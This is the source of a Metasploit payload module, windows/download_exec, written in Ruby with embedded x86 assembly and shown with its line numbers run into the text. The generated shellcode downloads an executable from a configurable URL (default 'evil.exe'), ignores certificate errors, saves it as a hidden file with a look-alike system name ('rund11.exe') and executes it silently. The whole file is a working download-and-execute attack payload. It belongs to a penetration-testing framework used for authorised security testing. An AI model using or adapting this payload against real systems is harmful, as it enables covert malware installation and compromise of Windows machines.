Path: blob/master/modules/payloads/singles/windows/download_exec.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 42978include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Windows::BlockApi11def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Executable Download (http,https,ftp) and Execute',16'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',17'Author' => [18'corelanc0d3r <peter.ve[at]corelan.be>'19],20'License' => MSF_LICENSE,21'Platform' => 'win',22'Arch' => ARCH_X8623)24)2526# Register command execution options27register_options(28[29OptString.new('URL', [true, 'The pre-encoded URL to the executable', 'https://localhost:443/evil.exe']),30OptString.new('EXE', [ true, 'Filename to save & run executable on target system', 'rund11.exe' ])31]32)33end3435#36# Construct the payload37#38def generate(_opts = {})39target_uri = datastore['URL'] || ''40filename = datastore['EXE'] || ''41proto = 'https'42dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"43# ;0x80000000 | ; INTERNET_FLAG_RELOAD44# ;0x04000000 | ; INTERNET_NO_CACHE_WRITE45# ;0x00800000 | ; INTERNET_FLAG_SECURE46# ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT47# ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID48# ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID49# ;0x00000200 ; INTERNET_FLAG_NO_UI"5051exitfuncs = {52'THREAD' => Rex::Text.block_api_hash('kernel32.dll', 'ExitThread').to_i(16), # ExitThread53'PROCESS' => Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess').to_i(16), # ExitProcess54'SEH' => 0x00000000, # we don't care55'NONE' => 0x00000000 # we don't care56}5758protoflags = {59'http' => 0x3,60'https' => 0x3,61'ftp' => 0x162}6364exitfunc = datastore['EXITFUNC'].upcase6566if exitfuncs[exitfunc]67exitasm = case exitfunc68when 'SEH' then "xor eax,eax\ncall eax"69when 'NONE' then 'jmp end' # don't want to load user32.dll for GetLastError70else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]71end72end7374# parse URL and break it down in75# - remote host76# - port77# - /path/to/file7879server_uri = ''80server_host = ''81port_nr = 443 # default8283if !target_uri.empty?8485# get desired protocol86if target_uri =~ /^http:/87proto = 'http'88port_nr = 8089dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"90# ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION91end9293if target_uri =~ /^ftp:/94proto = 'ftp'95port_nr = 2196dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"97end9899# sanitize the input100target_uri = target_uri.gsub('http://', '') # don't care about protocol101target_uri = target_uri.gsub('https://', '') # don't care about protocol102target_uri = target_uri.gsub('ftp://', '') # don't care about protocol103104server_info = target_uri.split('/')105106# did user specify a port ?107server_parts = server_info[0].split(':')108if server_parts.length > 1109port_nr = Integer(server_parts[1])110end111112# actual target host113server_host = server_parts[0]114115# get /path/to/remote/exe116117for i in (1..server_info.length - 1)118server_uri << '/'119server_uri << server_info[i]120end121122end123124# get protocol specific stuff125126# create actual payload127payload_data = %^128cld129call start130#{asm_block_api}131start:132pop ebp ; get ptr to block_api routine133; based on HDM's block_reverse_https.asm134load_wininet:135push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.136push 0x696e6977 ; ...137mov esi, esp ; Save a pointer to wininet138push esp ; Push a pointer to the "wininet" string on the stack.139push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" )140call ebp ; LoadLibraryA( "wininet" )141142internetopen:143xor edi,edi144push edi ; DWORD dwFlags145push edi ; LPCTSTR lpszProxyBypass146push edi ; LPCTSTR lpszProxyName147push edi ; DWORD dwAccessType (PRECONFIG = 0)148push esi ; LPCTSTR lpszAgent ("wininet\x00")149push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" )150call ebp151152jmp.i8 dbl_get_server_host153154internetconnect:155pop ebx ; Save the hostname pointer156xor ecx, ecx157push ecx ; DWORD_PTR dwContext (NULL)158push ecx ; dwFlags159push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)160push ecx ; password161push ecx ; username162push #{port_nr} ; PORT163push ebx ; HOSTNAME164push eax ; HINTERNET hInternet165push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" )166call ebp167168jmp.i8 get_server_uri169170httpopenrequest:171pop ecx172xor edx, edx ; NULL173push edx ; dwContext (NULL)174#{dwflags_asm} ; dwFlags175push edx ; accept types176push edx ; referrer177push edx ; version178push ecx ; url179push edx ; method180push eax ; hConnection181push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" )182call ebp183mov esi, eax ; hHttpRequest184185set_retry:186push 0x10187pop ebx188189; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );190set_security_options:191push 0x00003380192mov eax, esp193push 4 ; sizeof(dwFlags)194push eax ; &dwFlags195push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)196push esi ; hRequest197push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" )198call ebp199200httpsendrequest:201xor edi, edi202push edi ; optional length203push edi ; optional204push edi ; dwHeadersLength205push edi ; headers206push esi ; hHttpRequest207push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" )208call ebp209test eax,eax210jnz create_file211212try_it_again:213dec ebx214jz thats_all_folks ; failure -> exit215jmp.i8 set_security_options216217dbl_get_server_host:218jmp get_server_host219220get_server_uri:221call httpopenrequest222223server_uri:224db "#{server_uri}", 0x00225226create_file:227jmp.i8 get_filename228229get_filename_return:230xor eax,eax ; zero eax231pop edi ; ptr to filename232push eax ; hTemplateFile233push 2 ; dwFlagsAndAttributes (Hidden)234push 2 ; dwCreationDisposition (CREATE_ALWAYS)235push eax ; lpSecurityAttributes236push 2 ; dwShareMode237push 2 ; dwDesiredAccess238push edi ; lpFileName239push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA240call ebp241242download_prep:243xchg eax, ebx ; place the file handle in ebx244xor eax,eax ; zero eax245mov ax,0x304 ; we'll download 0x300 bytes at a time246sub esp,eax ; reserve space on stack247248download_more:249push esp ; &bytesRead250lea ecx,[esp+0x8] ; target buffer251xor eax,eax252mov ah,0x03 ; eax => 300253push eax ; read length254push ecx ; target buffer on stack255push esi ; hRequest256push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" )257call ebp258259test eax,eax ; download failed? (optional?)260jz thats_all_folks ; failure -> exit261262pop eax ; how many bytes did we retrieve ?263264test eax,eax ; optional?265je close_and_run ; continue until it returns 0266267write_to_file:268push 0 ; lpOverLapped269push esp ; lpNumberOfBytesWritten270push eax ; nNumberOfBytesToWrite271lea eax,[esp+0xc] ; get pointer to buffer272push eax ; lpBuffer273push ebx ; hFile274push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile275call ebp276sub esp,4 ; set stack back to where it was277jmp.i8 download_more278279close_and_run:280push ebx281push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle282call ebp283284execute_file:285push 0 ; don't show286push edi ; lpCmdLine287push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec288call ebp289290thats_all_folks:291#{exitasm}292293get_filename:294call get_filename_return295db "#{filename}",0x00296297get_server_host:298call internetconnect299300server_host:301db "#{server_host}", 0x00302end:303^304self.assembly = payload_data305super306end307end308309310